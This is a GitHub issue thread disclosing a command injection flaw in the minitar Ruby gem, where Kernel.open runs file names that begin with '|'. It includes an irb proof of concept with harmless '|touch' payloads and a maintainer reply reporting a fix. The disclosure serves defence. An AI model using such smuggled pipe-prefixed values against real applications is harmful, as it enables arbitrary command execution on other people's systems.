halostatue / minitar

Minimal pure-ruby support for POSIX tar(1) archives.
Other
38 stars 27 forks source link

Potential command injection #28

Closed ooooooo-q closed 6 years ago

ooooooo-q commented 6 years ago

overview

Archive::Tar::Minitar::Ouput and Archive::Tar::Minitar::Input use Kernel.open, ruby's Kernel.open has multiple behaviors. Especially when a character string starting with | is used, it becomes command injection. (refer: https://sakurity.com/blog/2015/02/28/openuri.html)

PoC

$ irb
irb(main):001:0> require 'minitar'
=> true
irb(main):002:0> Minitar.unpack('|touch xxx', 'x')
Traceback (most recent call last):
        6: from /usr/local/bin/irb:11:in `<main>'
        5: from (irb):2
        4: from /usr/local/lib/ruby/gems/2.5.0/gems/minitar-0.6.1/lib/archive/tar/minitar.rb:247:in `unpack'
        3: from /usr/local/lib/ruby/gems/2.5.0/gems/minitar-0.6.1/lib/archive/tar/minitar/input.rb:21:in `open'
        2: from /usr/local/lib/ruby/gems/2.5.0/gems/minitar-0.6.1/lib/archive/tar/minitar/input.rb:21:in `new'
        1: from /usr/local/lib/ruby/gems/2.5.0/gems/minitar-0.6.1/lib/archive/tar/minitar/input.rb:77:in `initialize'
Archive::Tar::Minitar::NonSeekableStream (Archive::Tar::Minitar::NonSeekableStream)
irb(main):003:0> `ls`
=> "xxx\n"
irb(main):004:0> Minitar.pack('tests', '|touch yyyy')
Traceback (most recent call last):
        8: from /usr/local/bin/irb:11:in `<main>'
        7: from (irb):4
        6: from /usr/local/lib/ruby/gems/2.5.0/gems/minitar-0.6.1/lib/archive/tar/minitar.rb:224:in `pack'
        5: from /usr/local/lib/ruby/gems/2.5.0/gems/minitar-0.6.1/lib/archive/tar/minitar/output.rb:27:in `open'
        4: from /usr/local/lib/ruby/gems/2.5.0/gems/minitar-0.6.1/lib/archive/tar/minitar.rb:236:in `block in pack'
        3: from /usr/local/Cellar/ruby/2.5.0/lib/ruby/2.5.0/find.rb:43:in `find'
        2: from /usr/local/Cellar/ruby/2.5.0/lib/ruby/2.5.0/find.rb:43:in `collect!'
        1: from /usr/local/Cellar/ruby/2.5.0/lib/ruby/2.5.0/find.rb:43:in `block in find'
Errno::ENOENT (No such file or directory - tests)
irb(main):005:0> `ls`
=> "xxx\nyyyy\n"
halostatue commented 6 years ago

The use of Kernel.open is intentional so one could download and open a tarball from a URL, but as you say this could be an injection. I would happily accept a PR to add this warning to the README with a link to the article you suggested. I don’t think that Minitar.{,un}pack accepts an IO, but that would be a way of offloading the security risk to the consumer of the library (Minitar.unpack(open('|touch xxx'))) without actually solving anything.

halostatue commented 6 years ago

Fixed in #30 (an expansion of #29).